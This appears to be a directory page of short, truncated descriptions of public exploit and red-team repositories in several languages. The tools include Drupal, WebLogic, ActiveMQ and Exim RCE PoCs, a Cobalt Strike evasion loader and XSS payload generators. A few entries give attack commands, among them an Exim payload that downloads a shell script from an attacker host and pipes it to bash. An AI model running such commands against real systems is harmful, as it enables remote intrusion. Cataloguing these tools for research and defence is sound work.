CVE-2018-7600-Drupal-0day-RCE

CVE-2018-7600-Drupal-0day-RCE Drupal 0day Remote PHP Code Execution Perl This is a 0day RCE Exploit in Drupal CMS You Can Upload Payload on server. CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 How Run Exploit : 1-git clone...

CS-MemoryEvasion

MemoryEvasion A Cobalt Strike memory evasion loader for redteamers,Support x86/x64 stager/stagerless payload with profiletested on windows7/10,winserver 2012 How Evasion? Hook Sleep,CreateProcessA,CreateHeap,GetProcessHeap functions before the shellcode is loaded into memory. Create a new heap fo...

CVE-2025-1302_jsonpath-plus_RCE

CVE-2025-1302 JSONPath-Plus RCE PoC PoC 스크립트 이름: poc.py CVE-2025-1302에 대한 개념 증명PoC 익스플로잇 스크립트로, jsonpath-plus 라이브러리의 RCE 취약점을 대상으로 합니다. 취약한 서비스 엔드포인트에 대해 실행하면 JSONPath 페이로드를 통해 원격 코드 실행을 트리거하고 공격자에게 역방향 셸reverse shell을 연결하려고 시도합니다. 기능 유연한 HTTP 메서드 : --method 또는 --no-fallback 플래그를 통해 POST , GET ,...

Powershell-C2

Powershell-C2 This attack stems off of my Powershell Payload Excel Delivery, but it uses a really cool method for Command and Control/persistence on the box. A walk-through can be found here: http://enigma0x3.wordpress.com/2014/01/17/command-and-control-using-powershell-and-your-favorite-website/...

OWASP-mth3l3m3nt-framework

OWASP Mth3l3m3nt Framework Una actualización ligeramente importante perdón por el juego de palabras está en curso. Esto trae cosas como: Estándar de codificación más sencillo Soporte para PHP 8 Funciones más robustas Corrección de solicitudes de errores enviadas. Esta herramienta se publica bajo ...

CVE-2025-34085-Multi-target

CVE-2025-34085 Escáner RCE Multiobjetivo Escáner de explotación masiva para CVE-2025-34085 — una vulnerabilidad de ejecución remota de código no autenticada en el plugin Simple File List de WordPress. Esta herramienta sube un payload PHP disfrazado como imagen, lo renombra mediante un motor de...

CVE-2023-21837

CVE-2023-21837 POC,EXP, chatGPT para mí código import socket CVE-2023-21837 def checkvulnerabilitytargethost, targetport: create socket object s = socket.socketsocket.AFINET, socket.SOCKSTREAM set timeout to 30 seconds s.settimeout30 try: connect to target s.connecttargethost, targetport send...

NXLoader

NXLoader My first Android app: Launch Fusée Gelée payloads from stock Android Heavily based on Fusée Gelée and ShofEL2. fusee.bin is bundled as a default payload Note: Any proprietary payloads are neither tested nor supported by this software. Does it work on your device? Report here Get the APK...

ZIPFileRaider

ZIP File Raider - Extensión de Burp para pruebas de carga útil en archivos ZIP ZIP File Raider es una extensión de Burp Suite para atacar aplicaciones web con funcionalidad de carga de archivos ZIP. Puede inyectar fácilmente cargas útiles payloads del Escáner/Repetidor de Burp en el contenido ZIP...

AllAboutBugBounty

Todo sobre bug bounty Estas son mis notas sobre bug bounty que he recopilado de varias fuentes, ¡tú también puedes contribuir a este repositorio! Lista de Vulnerabilidades Subida Arbitraria de Archivos Inyección CRLF Falsificación de Petición en Sitios Cruzados CSRF Cross Site Scripting XSS...

CVE-2017-10366_peoplesoft

CVE-2017-10366: Exploit de deserialización Java de Oracle PeopleSoft 8.54, 8.55, 8.56 Este script automatiza la explotación de una vulnerabilidad de deserialización Java en Oracle PeopleSoft, descubierta originalmente por Vahagn Vardanyan. Este exploit requiere ysoserial.jar para generar payloads...

Mezzanine-CMS-6.1.0-XSS

Mezzanine-CMS-6.1.0-XSS CVE-2025-50481 Description A cross-site scripting XSS vulnerability in the component /blog/blogpost/add of Mezzanine CMS v6.1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into a blog post. CVE: CVE-2025-50481 Affected version:...

CVE-2022-35649

CVE-2022-35649 Generador de Payload usando Python 2 y Análisis Detallado para CVE-2022-35649 El PoC en Python genera un payload al explotar un 0-day de GhostScript 9.50. Este exploit de 0-day afecta a ImageMagick con la configuración predeterminada del repositorio de Ubuntu probado con la...

XSYS-Log4J2Shell-Ex

XSYS-Log4J2Shell-Ex CVE-2021-44228 log4j2shell PoC como parte de una investigación de seguridad para un parche de vulnerabilidad Resumen In this repository I will cover several topics and implementations which provide a PROOF OF CONCEPT regarding the Log4J 2.17.0 vulnerability . The main goal is ...

CVE-2019-2725

CVE-2019-2725 WebLogic Universal Exploit - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 payload builder & exploit Info / Help $ python3 weblogicexploit.py -h ======================================================================== | WebLogic Universal Exploit | | CVE-2017-3506 /...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Project Reference This project is a python version of the exp rewritten based on the exp from the https://github.com/X1r0z/ActiveMQ-RCE project. Usage python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 The -p parameter defaults to the default port of activeMQ. No...

CVE-2023-46604

CVE-2023-46604 Build a docker-compose containing 2 images: the victim machine and the target machine, according to the required environment. On the victim machine, start ActiveMQ Switch to the attacker machine: • Start an HTTP service to send the PoC: python3 -m http.server • Use netcat to listen...

CVE-2004-2271-MiniShare-1.4.1-Buffer-Overflow

CVE 2004-2271 MiniShare-1.4.1-Buffer-Overflow https://vulners.com/cve/CVE-2004-2271 파일 내에서 사용하며, 귀찮아서 msfvenom 페이로드를 자동으로 생성합니다. 이식 출처: https://www.exploit-db.com/exploits/636/ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/minisharegetoverflow.rb 라이선스:...

xssless

xssless python으로 작성된 자동화된 XSS 페이로드 생성기입니다. 사용법 1. Burp proxy로 요청들을 기록합니다. 2. 생성하려는 요청들을 선택한 다음 마우스 오른쪽 버튼을 클릭하고 "Save items"를 선택합니다. 3. xssless를 사용하여 페이로드를 생성합니다: ./xssless.py burpexportfile 4. Pwn! 더 자세한 튜토리얼은 여기에서 확인할 수 있습니다. 기능 가져온 Burp 프록시 요청에서 자동화된 XSS 페이로드 생성 페이로드는 100% 비동기 방식이므로 사용자의 브라우저가...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC para explotación de la vulnerabilidad CVE-2019-10149 Ejemplo de uso python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...